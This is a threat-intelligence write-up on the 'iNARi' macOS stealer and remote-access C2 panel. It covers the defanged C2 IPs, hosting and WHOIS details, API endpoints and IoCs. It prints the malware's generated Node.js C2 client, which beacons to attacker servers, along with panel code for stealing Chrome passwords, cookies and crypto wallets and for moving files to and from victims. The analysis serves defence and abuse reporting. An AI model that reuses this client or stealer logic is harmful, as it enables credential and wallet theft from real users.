While I was scrolling through the X platform the other day, a post from DarkWebInformer grabbed my attention. It dropped a screenshot of a darknet forum thread titled "iNARi (Private MacOS Loader / Stealer / Remote Desktop)" uploaded by a user called patrick_star_dust on April 15, 2025, at 10:53 PM PDT. Tucked away in the Malware section, this post laid out a malware toolkit aimed squarely at macOS systems, available for rent at $5.000/month for the standard package or $10.000/month if you want the premium version with remote desktop goodies (a bit on the expensive side if you ask me... guess they have a good go-to-market strategy :D).
It bragged about features like system persistence without needing passwords, support for delivery methods like off-line scripts, one-liner terminal commands, DMG files, and PKG packages, and a modular setup that handles everything from data theft to VNC remote access. Plus, it dangled an offer to collaborate for a slice of the macOS targets’ juicy financial balances—definitely a profit-driven play. That got me curious, so I started digging to understand better what's going on here.

The first step was to figure out the infrastructure behind it. The post suggested reaching out to the seller via private message through a guarantor—a classic MO keep things under wraps. We zeroed in on five C2 (thanks Censys) servers hosted at IPs:
65[.]87[.]7[.]115:8080
65[.]87[.]7[.]103:8080
62[.]60[.]157[.]47:8080
213[.]176[.]114[.]228:8080
77[.]239[.]97[.]85:8080

There’s a chance more beacons are lurking out there, hinting this setup might be bigger than it seems. To get a clearer picture, I started probing with

curl -v http://65[.]87[.]7[.]115:8080/api/auth/permissions, which threw back a 401 Unauthorized response with a Russian “Токен не предоставлен” (Token not provided) and an X-Powered-By: Express header, pointing to an Express.js-based server (I wasn’t sure if it was Express at first, but the header confirmed it.) Tossing in a dummy token with -H "Authorization: Bearer dummy-token" got me “Недействительный токен” (Invalid token), confirming a Bearer token authentication setup as hinted in the app.js code. Similar 401 responses with “Требуется аутентификация” (Authentication required) popped up for /api/files/uploads and /api/login without credentials, showing a consistent security layer.

Then I stumbled on a glaring misstep. Hitting the main URL http://65[.]87[.]7[.]115:8080/ let me peek at the full iNARi C2 Panel interface (check the screenshot) before it redirected to the login page. Digging into it, this stems from a client-side authentication check in app.js leaning on localStorage.getItem('authToken'). The code snippet if (!localStorage.getItem('authToken')) { window.location.href = '/login.html'; return; } is meant to lock things down, but the initial page load skips this because there’s no server-side redirect or HTTP authentication header (like WWW-Authenticate) in play. That means anyone can grab the panel’s HTML and JavaScript, including app.js, (basically showing the operational engine of it). That’s a bit of a rookie slip-up.

Wasn’t sure if it was just a honeypot at first, but nope—real C2, real endpoints.

Ref:

Then it redirects to the login page:



I kept digging with a reverse DNS lookup using

dig -x 65[.]87[.]7[.]115, which came back NXDOMAIN—a go-to trick for bad actors to hide their tracks by skipping reverse DNS records. To get more context, I ran a loop to check all IPs, and here’s what we got:

for ip in 65[.]87[.]7[.]115 65[.]87[.]7[.]103 62[.]60[.]157[.]47 213[.]176[.]114[.]228 77[.]239[.]97[.]85; do
    echo "Reverse DNS for $ip:"
    dig -x $ip +short
    if [ $? -eq 0 ]; then
        echo "Lookup successful"
    else
        echo "NXDOMAIN or lookup failed"
    fi
    echo "------------------------"
done
  • Output:
    • 65[.]87[.]7[.]115: No hostname (lookup successful but no PTR record).
    • 65[.]87[.]7[.]103: No hostname (lookup successful but no PTR record).
    • 62[.]60[.]157[.]47: Resolves to sulky-passenger.aeza.network. (lookup successful).
    • 213[.]176[.]114[.]228: Resolves to brisk-turkey.aeza.network. (lookup successful).
    • 77[.]239[.]97[.]85: Resolves to AkaFreem-Vpn.aeza.network. (lookup successful).

This tells us three IPs (62[.]60[.]157[.]47, 213[.]176[.]114[.]228, 77[.]239[.]97[.]85) are tied to Aeza International LTD, with those hostnames—possibly auto-generated or deliberately vague. The missing reverse DNS for 65[.]87[.]7[.]115 and 65[.]87[.]7[.]103 (both under Neopolitan Networks) fits the obfuscation pattern, though the successful lookups without results are a bit unusual—likely a configuration choice. I also pulled WHOIS data to map the hosting environment, updated with the ASN for 65[.]87[.]7[.]103 (ASN 215659):

  • 65[.]87[.]7[.]115 and 65[.]87[.]7[.]103: ASN AS (215659 for 65[.]87[.]7[.]103), Organization Neopolitan Networks, Country USA, Abuse abuse@methean[.]com
  • 62[.]60[.]157[.]47: ASN AS210644, Organization Aeza International LTD, Country France, Abuse abuse@aeza[.]net
  • 213[.]176[.]114[.]228: ASN AS210644, Organization Aeza International LTD, Country Germany, Abuse abuse@aeza[.]net
  • 77[.]239[.]97[.]85: ASN AS210644, Organization Aeza International LTD, Country Sweden, Abuse abuse@aeza[.]net

The Aeza-managed IPs point to https://aeza[.]net/static/ipv4_f[.]csv for geolocation, flagging a distributed VPS network across France, Germany, and Sweden. The older Neopolitan Networks block suggests a hybrid hosting strategy, possibly recycling legacy infrastructure—a common practice among providers. The reverse DNS hits reinforce Aeza’s role, while the Neopolitan IPs’ silence keeps them a bit in the shadows. Further research into Aeza International LTD (Company Number: 15109642, registered in the UK at 347 Barking Road, London, E13 8EE) reveals it operates under AS210644, managing 123,136 IP addresses, with additional operational ties to Sheffield, UK, and a Russian entity, Aeza Group, based in Krasnodar, as noted on Crunchbase. The domain aeza.network, registered since October 4, 2021, via Porkbun LLC with privacy protection, hosts these server names, indicating its use within Aeza’s hosting ecosystem.

The HTML from http://65[.]87[.]7[.]115:8080/ showed a interface with Russian labels like “Панель управления” (Dashboard), hinting at a Russian-speaking crew. The app.js file exposed a ton of endpoints and Socket.IO events, all locked behind auth. Let’s map those endpoints for the infrastructure picture:

  • /api/auth/permissions (GET): Fetches user permissions, requires a Bearer token.
  • /api/clients (GET): Pulls the client list, token-protected.
  • /api/files/uploads (GET): Grabs uploaded files, needs auth.
  • /api/files/download/:fileId (GET): Downloads a specific file by ID.
  • /api/files/uploads/:fileId (DELETE): Deletes a file by ID.
  • /api/upload (POST): Uploads a file to clients.
  • /api/clients/:clientId/download (POST): Downloads a file from a client.
  • /api/logs (GET): Fetches system logs.
  • /api/logs/:clientId (GET): Gets logs for a specific client.
  • /downloads/:fileName (GET): Accesses downloaded files (e.g., <clientId>_chrome_passwords_result[.]json).
  • /login[.]html (GET): Redirects to login page (inferred from auth check).

Socket.IO events tie into this with sendCommand, getChromePasswords, decryptChromePasswords, requestPasswords, requestCookies, requestWallets, clientsList, clientConnected, clientDisconnected, clientOutput, fileUploaded, fileDownloaded, notification, userInfo, clientPasswordsData, clientCookiesData, clientWalletsData, storedPasswordsData, storedCookiesData, storedWalletsData, stealDataExportReady, and passwordsDecryptionProgress, all handled in real-time.

Now, let’s get to the juicy bit :) —the client itself. The generateClient() function churns out this Node.js code, which runs on the victim’s machine:

// GMGN C2 Client - Generated
const net = require('net');
const os = require('os');

const config = {
    serverHost: '${serverIp}',
    serverPort: ${serverPort},
    reconnectDelay: ${reconnectInterval}
};

function connectToServer() {
    console.log(`Connecting to ${config.serverHost}:${config.serverPort}...`);
    
    const socket = new net.Socket();
    
    socket.connect(config.serverPort, config.serverHost, () => {
        console.log('Connected to C2 server');
        socket.write(`Connected - ${os.hostname()} (${os.platform()} ${os.arch()})`);
    });
    
    socket.on('data', async (data) => {
        const command = data.toString().trim();
        console.log(`Received command: ${command}`);
        socket.write(`Command executed: ${command}`);
    });
    
    socket.on('close', () => {
        console.log('Connection closed, reconnecting...');
        setTimeout(connectToServer, config.reconnectDelay);
    });
    
    socket.on('error', (err) => {
        console.log(`Connection error: ${err.message}`);
        // Socket will close automatically after error
    });
}

// Start the connection
connectToServer();

Plug in, say, serverHost: 65[.]87[.]7[.]115, serverPort: 8080, and reconnectDelay: 10000, and this script fires up a TCP connection to the C2. It sends a string with the victim’s hostname, platform, and architecture (e.g., Connected - Inari-MacBook-Pro (darwin x64) using os module data), then waits for commands. If the link drops, it retries every 10 seconds. You can compile it with pkg into iNARi_Client[.]app or package it into a DMG, matching the forum’s delivery options. But the real action happens through the Socket.IO interactions in app.js—let’s break down what the client can do based on that.

Client Capabilities:

1. Initial Connection and System Identification

  • What It Does: Establishes a persistent TCP connection to the C2 server and identifies the infected system.
  • How It Works: The generated client script uses net.Socket to connect to the specified serverHost and serverPort. Upon successful connection, it sends a string via socket.write() containing the output of os.hostname(), os.platform(), and os.arch() (e.g., Connected - Inari-MacBook-Pro (darwin x64) on a macOS system). If the connection is lost, the reconnectDelay (e.g., 10000ms) triggers a retry via setTimeout(connectToServer, config.reconnectDelay).
  • Obersavatiosn: The functionality is directly observed in the generateClient() function.

2. Command Execution and Remote Shell Access

  • What It Does: Allows the execution of arbitrary shell commands on the victim’s system.
  • Observations: The command execution mechanism is confirmed by the sendCommand event and client response logic. The exact method of command execution (e.g., shell invocation) is not detailed in app.js, but the client’s response confirms it processes and returns output, aligning with the observed functionality.

How It Works: The panel’s sendCommand(clientId, command) function emits a sendCommand event with the client ID, command, and an optional silent flag:

socket.emit('sendCommand', {
    clientId: clientId,
    command: command,
    silent: silent
});

The client receives this command via the data event in the generated script, where socket.write(Command executed: ${command}) sends a response. The panel’s handleCommandInput() triggers this on Enter, appending the command and output to terminalContent:

appendToTerminal(`<div><span class="prompt">${terminalPromptText}</span> ${command}</div>`);

The commandsHistory array (limited to 20 entries) supports navigation with Arrow Up/Down, and commandsCounter increments for non-silent commands. Silent commands, such as pwd || cd in openTerminal(), are used to fetch system data without user notification.

3. Password Theft from Chrome

  • What It Does: Extracts and exfiltrates Chrome-stored passwords.
  • Observation: The password theft process is accurately reflected in the getChromePasswords, clientOutput, and fileDownloaded events. The server’s role in accessing Chrome’s Login Data database and decrypting it is implied by the JSON structure and success message.

How It Works: Initiated by getChromePasswords(clientId), which emits a getChromePasswords event:

socket.emit('getChromePasswords', {
    clientId: clientId,
    forceUpdate: true
});

The server processes this, and the result is returned via the clientOutput event. If the output includes the marker ===== РЕЗУЛЬТАТ РАСШИФРОВКИ ПАРОЛЕЙ =====, the panel parses the JSON data between this and ===== КОНЕЦ РЕЗУЛЬТАТА =====, mapping it to a passwordsList array:

socket.on('clientOutput', function (data) {
    if (data.output.includes('===== РЕЗУЛЬТАТ РАСШИФРОВКИ ПАРОЛЕЙ =====')) {
        const resultStartText = "===== РЕЗУЛЬТАТ РАСШИФРОВКИ ПАРОЛЕЙ =====";
        const resultEndText = "===== КОНЕЦ РЕЗУЛЬТАТА =====";
        const startIndex = data.output.indexOf(resultStartText) + resultStartText.length;
        const endIndex = data.output.indexOf(resultEndText);
        if (startIndex >= 0 && endIndex > startIndex) {
            const resultJson = data.output.substring(startIndex, endIndex).trim();
            const result = JSON.parse(resultJson);
            if (result.success) {
                const passwordsList = result.passwords.map(p => ({
                    url: p.origin_url || p.action_url || "https://example[.]com",
                    username: p.username || "",
                    password: p.password || ""
                }));
                stealData.get(data.id).passwords = passwordsList;
                const fs = require('fs');
                const path = require('path');
                const dataDir = path.join(__dirname, 'data');
                if (!fs.existsSync(dataDir)) fs.mkdirSync(dataDir, { recursive: true });
                const passwordsPath = path.join(dataDir, `passwords_${data.id}[.]json`);
                fs.writeFileSync(passwordsPath, JSON.stringify(passwordsList, null, 2));
                console.log(`Пароли сохранены в файл: ${passwordsPath}`);
            }
        }
    }
});

The fileDownloaded event handles files like chrome_passwords_result[.]json, fetching and parsing them:

socket.on('fileDownloaded', function (data) {
    const downloadPath = `/downloads/${data.fileName}`;
    fetch(downloadPath, {
        headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken') }
    }).then(response => {
        if (response.headers.get('content-type').includes('application/json')) {
            return response.json();
        } else {
            return response.text().then(text => JSON.parse(text));
        }
    }).then(passwordsData => {
        stealData.get(data.clientId).passwords = passwordsData;
        if (passwordsModal.classList.contains('visible')) updatePasswordsTable(passwordsData);
        showNotification(`Загружено ${passwordsData.length} паролей из Chrome`, 'success');
    });
});
  • What It Does: Extracts browser cookies, likely from Chrome.
  • Observations: The cookie extraction is directly supported by the requestCookies and clientCookiesData events. The source (e.g., Chrome’s Cookies file) is inferred from context but not specified, so no assumptions are made beyond the data structure.

How It Works: Triggered by requestCookies(clientId), which emits requestCookies and getStoredStealData:

socket.emit('requestCookies', { clientId: clientId });
socket.emit('getStoredStealData', { clientId: clientId, type: 'cookies' });

The clientCookiesData event delivers the cookie data:

socket.on('clientCookiesData', function (data) {
    if (selectedClientId === data.clientId && cookiesModal.classList.contains('visible')) {
        stealData.get(data.clientId).cookies = data.cookies;
        updateCookiesTable(data.cookies);
    }
});

5. Cryptocurrency Wallet Theft

  • What It Does: Extracts wallet data from popular crypto applications.
  • Observations: The wallet theft process is fully supported by the requestWallets, clientWalletsData, and exportStealData events. The specific file locations (e.g., MetaMask JSON) are contextual inferences but not assumed in the core functionality.

How It Works: Initiated by requestWallets(clientId), emitting requestWallets and getStoredStealData:

socket.emit('requestWallets', { clientId: clientId });
socket.emit('getStoredStealData', { clientId: clientId, type: 'wallets' });

The clientWalletsData event handles the payload:

socket.on('clientWalletsData', function (data) {
    if (selectedClientId === data.clientId && walletsModal.classList.contains('visible')) {
        stealData.get(data.clientId).wallets = data.wallets;
        updateWalletsTable(data.wallets);
    }
});

Exporting triggers exportStealData():

socket.emit('exportStealData', { clientId: selectedClientId, type: 'wallets' });
socket.on('stealDataExportReady', function (data) {
    const a = document.createElement('a');
    a.href = data.url;
    a.download = `${data.type}_client_${data.clientId}[.]csv`;
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
});

6. File Management (Upload and Download)

  • What It Does: Facilitates the upload of files to and download of files from the victim’s system.
  • How It Works:

The fileUploaded and fileDownloaded events update the UI and handle file retrieval:

socket.on('fileDownloaded', function (data) {
    const downloadPath = `/downloads/${data.fileName}`;
    fetch(downloadPath).then(response => response.blob()).then(blob => {
        const url = window.URL.createObjectURL(blob);
        const a = document.createElement('a');
        a.href = url;
        a.download = data.fileName;
        document.body.appendChild(a);
        a.click();
        window.URL.revokeObjectURL(url);
        document.body.removeChild(a);
    });
});

Download: The downloadFile() function requests a file:

fetch(`/api/clients/${selectedClientId}/download`, {
    method: 'POST',
    headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken'), 'Content-Type': 'application/json' },
    body: JSON.stringify({ remotePath: downloadPath })
});

Upload: The uploadFile() function sends a file via fetch with FormData:

const formData = new FormData();
formData.append('file', fileInput.files[0]);
formData.append('clientId', selectedClientId);
if (remotePath) formData.append('remotePath', remotePath);
fetch('/api/upload', {
    method: 'POST',
    headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken') },
    body: formData
});
  • Observations: The upload and download processes are directly implemented in uploadFile(), downloadFile(), and the fileDownloaded event.


7. Logging and System Information Collection

  • What It Does: Collects system logs and detailed system information.
  • How It Works:

The downloadLogs(clientId) function fetches logs as a .zip file:

fetch(`/downloads/${fileName}`, {
    method: 'GET',
    headers: { 'Authorization': 'Bearer ' + localStorage.getItem('authToken') }
}).then(response => response.blob()).then(blob => {
    const url = window.URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = fileName;
    document.body.appendChild(a);
    a.click();
    setTimeout(() => {
        document.body.removeChild(a);
        window.URL.revokeObjectURL(url);
    }, 100);
});

The clientSystemInfo event updates client.systemInfo:

socket.on('clientSystemInfo', function (data) {
    if (clientsData.has(data.id)) {
        const client = clientsData.get(data.id);
        client.systemInfo = data.systemInfo;
        clientsData.set(data.id, client);
    }
});
  • Observations: The clientSystemInfo event and downloadLogs function are directly coded, confirming system data and log collection. The format of systemInfo is not specified, but its storage is verified.


8. Persistence and Reconnection

  • What It Does: Maintains an active connection with automatic reconnection.
  • Observations: None really :)

How It Works:

socket.on('close', () => {
    console.log('Connection closed, reconnecting...');
    setTimeout(connectToServer, config.reconnectDelay);
});

How It Grabs Information: Step-by-Step

  1. Connection: Connects to C2 (e.g., 65[.]87[.]7[.]115:8080) and sends os.hostname(), os.platform(), os.arch().
  2. Command Trigger: Panel sends events like getChromePasswords via Socket.IO.
  3. Data Collection: Server processes commands to access:
    • Passwords: Reads Login Data, decrypts with keychain, returns JSON.
    • Cookies: Pulls Cookies file, parses rows.
    • Wallets: Scans for wallet files, extracts data.
  4. Exfiltration: Data returns via clientOutput or fileDownloaded, saved with fs.writeFileSync, fetched by panel.
  5. Logging: Logs archived and downloaded on demand.

Is it a bit Rookie?

Mmm, I think so. Exposing the panel and app.js due to a client-side authentication flaw is a significant oversight. The absence of client-side command execution logic and the reliance on error-prone JSON parsing (with extensive try-catch blocks) suggest it lacks polish. This points to a proable financially motivated single actor still refining their approach, blending 'advanced' features with rookie mistakes.

Indicators of Compromise (IoCs) - Defanged

  • Network:
    • IPs: 65[.]87[.]7[.]115, 65[.]87[.]7[.]103, 62[.]60[.]157[.]47, 213[.]176[.]114[.]228, 77[.]239[.]97[.]85 (there may be more as you read this)
    • Ports: 8080 (web portal)
    • Domains: Reverse DNS unavailable (e.g., NXDOMAIN for 65[.]87[.]7[.]115)
    • WebSocket: ws://<ip>:8080/socket[.]io/
  • Endpoints/URLs:
    • http://65[.]87[.]7[.]115:8080/api/clients
    • http://77[.]239[.]97[.]85:8080/downloads/<clientId>_chrome_passwords_result[.]json
    • (Similar for other IPs)
  • WHOIS Data:
    • 65[.]87[.]7[.]115 and 65[.]87[.]7[.]103: ASN AS unknown (215659 for 65[.]87[.]7[.]103), Organization Neopolitan Networks, Country USA, Abuse abuse@methean[.]com
    • 62[.]60[.]157[.]47: ASN AS210644, Organization Aeza International LTD, Country France, Abuse abuse@aeza[.]net
    • 213[.]176[.]114[.]228: ASN AS210644, Organization Aeza International LTD, Country Germany, Abuse abuse@aeza[.]net
    • 77[.]239[.]97[.]85: ASN AS210644, Organization Aeza International LTD, Country Sweden, Abuse abuse@aeza[.]net

Diamond Model Analysis

  • Adversary: Likely Russian-speaking, based on “Панель управления” and error messages. The patrick_star_dust post and guarantor setup point to a cybercrime group or probable single actor, driven by the rental model.
  • Capability: Offers client management, data theft, remote desktop, and modular delivery. The client handles TCP and command relay, with server-side Socket.IO boosting operations.
  • Infrastructure: A distributed network with 65[.]87[.]7[.]115 and 65[.]87[.]7[.]103 (Neopolitan Networks, USA), 62[.]60[.]157[.]47 (France), 213[.]176[.]114[.]228 (Germany), and 77[.]239[.]97[.]85 (Sweden) under Aeza International LTD’s AS210644, managing 123,136 IP addresses. Ties to Aeza Group in Krasnodar, Russia, theres probably a broader operational footprint.
  • Victim: Primarily macOS users with crypto wallets, probably targeting high-value individuals (and also based on the base pricing of the rental).

Conclusion

The iNARi C2 Panel is a profit-hungry threat hitting macOS users. Its five-server spread, growth under Aeza International LTD’s infrastructure, and misconfiguration exposing app.js provide a clear view of its operations. The authentication barriers prevented a deeper overview and -so far- I was unable to find evidence of this tool being widely used in the wild, but the IoCs and analysis lay a solid foundation for further investigation.

We have reported these IPs to the abuse contacts for each network—abuse@methean[.]com for Neopolitan Networks and abuse@aeza[.]net for Aeza International LTD—to aid in the disruption of the threat actor.